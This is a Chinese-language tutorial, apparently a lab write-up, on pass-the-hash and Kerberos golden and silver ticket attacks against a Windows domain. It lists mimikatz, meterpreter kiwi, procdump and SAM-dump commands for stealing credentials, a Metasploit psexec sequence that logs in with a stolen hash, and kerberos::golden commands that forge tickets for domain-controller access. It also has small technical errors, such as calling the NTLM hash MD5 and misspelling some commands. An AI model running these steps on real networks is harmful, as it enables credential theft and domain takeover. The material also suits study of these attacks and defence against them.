一、哈希传递攻击分析与防范
前言
在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,如果计算机的本地管理账号和密码也是相同的,攻击者就能使用哈希传递(pass the hash 又叫PTH)的方法登录内网中的其他计算机。
用户在登陆网站时会对用户输入的密码进行散列加密处理,再与数据库中存储的散列值进行对比,如果玩去哪相同则表示验证成功。
在Windows网络中,攻击者不需要花费时间来破解密码散列值【MD5单向不可逆】(进而获得明文密码),散列值就是用来证明身份的,在Windows Server 2012 R2及以后版本的操作系统中,默认内存不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对计算机的控制。
本实验的前提是已经获取到了一个反弹shell,思路如下:
hash获取:
1、向目标机器上传mimikatz.exe远程调用,dump出hash,mimikatz需要做免杀处理,调用方法,直接在目标机器的CMD中打开mimikatz.exe,然后进入mimikatz的终端,输入mimikatz的指令即可。
2、使用meterpreter中的mimikatz进行哈希传递
2.1、使用meterpreter里的mimikatz模块
meterpreter >load mimikatz /////加载mimikatz模块,但是新版本msf中的mimikatz已经被kiwi取代了,老版本的msf可以使用
meterpreter >mimikatz_command -f (command)
privilege::debug ////提权
Samdump::hashes ///dump hash
2.2、使用meterpreter中的kiwi模块
工具的迭代,代表着更丰富的功能
creds_all Retrieve all credentials (parsed) ////列举所有凭据/所有密码
creds_kerberos Retrieve Kerberos creds (parsed) ///列举所有kerberos凭据
creds_livessp Retrieve Live SSP creds ///列举所有livessp凭据
creds_msv Retrieve LM/NTLM creds (parsed) ////列出所有msv凭据
creds_ssp Retrieve SSP creds ////列举所有ssp凭据
creds_tspkg Retrieve TsPkg creds (parsed) ////列举所有tspkg凭据
creds_wdigest Retrieve WDigest creds (parsed) ////列举所有wdigest凭据
dcsync Retrieve user account information via DCSync (unparsed) ///通过DCsync检索用户账户信息
dcsync_ntlm Retrieve user account NTLM hash, SID and RID via DCSync ///通过DCsync检索用户账户NTLM散列、SID和RID
golden_ticket_create Create a golden kerberos ticket ////创建黄金票据
kerberos_ticket_list List all kerberos tickets (unparsed) ////列举kerberos票据
kerberos_ticket_purge Purge any in-use kerberos tickets ////清除rberos票据
kerberos_ticket_use Use a kerberos ticket /////使用kerberos票据
kiwi_cmd Execute an arbitary mimikatz command (unparsed) ///此模块包含mimikatz的全部功能,该命令后接mimikatz.exe的命令
lsa_dump_sam Dump LSA SAM (unparsed) ////dump出lsa的sam
lsa_dump_secrets Dump LSA secrets (unparsed) ////dump出lsa的密文
password_change Change the password/hash of a user ///修改密码
wifi_list List wifi profiles/creds for the current user ////列出当前用户的wifi配置文件
wifi_list_shared List shared wifi profiles/creds (requires SYSTEM) ////列出共享wifi配置文件/编码
2.3、直接在meterpreter命令行输入hashdump
2.4、除了直接hashdump以外,msf也有一个脚本为post/Windows/gather/smart_hashdump,可用来获取域内用户的hash,在meterpreter界面,直接run一下这个模块就可以,(需要system权限)
3、上传procdump.exe到目标机器,获取lsass.exe进程的dmp文件后,将其传回本地用mimikatz来dump hash。lsass.exe是一个系统进程,用于微软系统的安全机制。它用于本地安全和登陆策略。
4、cobalt strike中dump hash(需要system权限)
5、利用Sam表
5.1、mimikatz在线读取Sam表
privilege::debug
token::elevate
lsadump::sam
5.2、将Sam表下载到本地,然后由mimikatz分析
reg save HKLM\SYSTEM SYSTEM
reg save HKLM\SAM SAM
hash传递PTH(PASS the hash)
前面获取了hash值,接下来要进行hash传递
1、使用msf的psexec模块:
use exploit/Windows/smb/psexec ///使用smb的psexec模块
set lhost x.x.x.x
set lport xxxx
set rhost x.x.x.x
set SMBuser xxxxx ///前面已经获取的hash值列表,对应想登录的用户,一般为administrator
set SMBPass xxxxxxxxxxxx ////上面SMBuser对应的hash值
run
2、cs的psexec模块
选中一个域控,右击登录>psexec
选择对应的user和password的hash值
二、票据传输获取域控权限
前言
票据传输攻击(PTT,pass the ticket)是一种使用kerberos票据代替明文密码或NTLM哈希的方法,最常见的用途是使用黄金票据和白银票据,经过PTT访问主机。域成员获取了域中的krbtgt用户的SID值和哈希值,就可以利用票据传递的攻击方式访问域控服务器,做域控权限维持。
黄金票据
krbtgt用户是域控中用来管理发放票据的用户,黄金票据的就是利用ms14_068漏洞,ms14_068的漏洞原理是伪造域管的tgt,黄金票据的漏洞原理是伪造krbtgt用户的票据(NTLM哈希或AES-256的值),拥有了该用户的权限,就可以为伪造系统中的任意用户。
收集构建黄金票据的信息
1、有的域主机/域用户可以查看到krbtgt用户
2、要想伪造黄金票据,需要知道以下信息
2.1、要伪造的域用户(一般是域管理员账户)
///查看域内管理员:net group “domain admins” domain
2.2、域名 ///net config workstation可以查看
2.3、域的SSID值。本域的名字为de1ay.com,在mimikatz中使用下类命令执行,获得SSID的值(去掉后面的502),mimikatz需要在管理员权限下执行
mimikatz # lsadump::dcsunc /domain:de1ay.com /user:krbtgt
2.4、krbtgt账号的哈希值或AES-256值,为上图中的HASH NTLM值
黄金票据生成并导入
1、提取:privilege::debug
2、在mimikatz中生成黄金票据并导入
2.1、生成票据后,再导入,有两种方法,在这里分为2.1.1和2.1.2,导入为2.1.3
2.1.1、使用krbtgt的hash值伪造票据,使用命令如下:
kerberos::golden /user:administrator /domain:xxx.com /sid:xxxxxxxxxxxx /krbtgt:xxxxxxxxx ////下面截图中的hash值,我手敲的,mimikatz.exe界面不能C和V,还不知道光标在哪,麻了,可能是工具的问题,点根蚊香降降血压
2.1.2、使用krbtgt的AES-256的值
2.1.3、前面身两种方法生成的票据ticket.kirbi,导入内存中
kerberos:ptt ticket.kirbi
2.2、生成黄金票据直接导入内存(强烈安利这种方法),也是两种方法
2.2.1、使用krbtgt的hash,后缀加/ptt
2.2.2、使用krbtgt的aes256,跟2.1.2一样(手敲hash真的太累了)
2.3、查看一下内存中的票据列表
klist /////一定是administrator权限下才能查看到票据列表
mimikatz中也可以查看黄金票据,图中可以成功查看到伪造的域控的票据
2.4、权限验证,黄金票据传递成功,在攻击机上可以成功查看域控权限
白银票据
白银票据与ms14_068和黄金票据的原理不太一样,ms14_068和黄金票据都是伪造tgt(门票发放票),而白银票据则是伪造st(门票),也就是伪造服务账号的票据(NTLM哈希或AES-256的值),这样处理的好处是门票不会经过kdc,从而更加隐蔽,但是伪造的门票只对部分服务起作用,如cifs(文件共享服务),mssql,winrm(Windows远程管理),dns服务等
要创建白银票据,我们需要知道一下信息:
1、要伪造的域用户(一般就是域管理员,伪造低权限用户也没啥意思)
2、域名 ///net config workstation可以查看域名
3、域的SSID值
4、目标服务的FQDN
5、可利用服务
6、服务账号的NTLM哈希
以下伪造白银票据以获取CIFS权限为例
CIFS服务,中文名字:通用网络文件系统,可以远程访问Internet计算机上的文件并要求此计算机提供服务,用于网络设备之间的文件共享,它可以使用户得到比FTP更好对文件的控制
1、收集构建白银票据的信息
1、使用mimikatz获取服务账号的NTLM哈希值 ////mimikatz需要管理权限运行
2、伪造白银票据进行攻击
查看到针对CIFS服务的票据已经成功生成
命令:kerberos:golden /domain:de1ay.com /sid:xxxxxxxxx /target:DC.de1ay.com /service:cifs /rc4:xxxhash值xxx /user:administrator /ptt
3、查看系统中的票据
klist
访问域控的C盘
黄金票据与白银票据的不同点
一、访问权限不同
1、黄金票据Golden Ticket:伪造TGT,可以获取任何kerberos服务权限
2、白银票据Silver Ticket:伪造TGS,只能访问指定的服务
二、加密方式不同
1、黄金票据由krbtgt的Hash加密
2、白银票据由服务账号(通常为计算机账户)Hash加密
三、认证流程不同
1、黄金票据的利用过程需要访问控制
2、白银票据不需要
四、隐蔽性不同
1、白银票据依赖于服务账号的密码散列值,而黄金票据需要利用krbtgt账号的密码散列值,因此白银票据更加隐蔽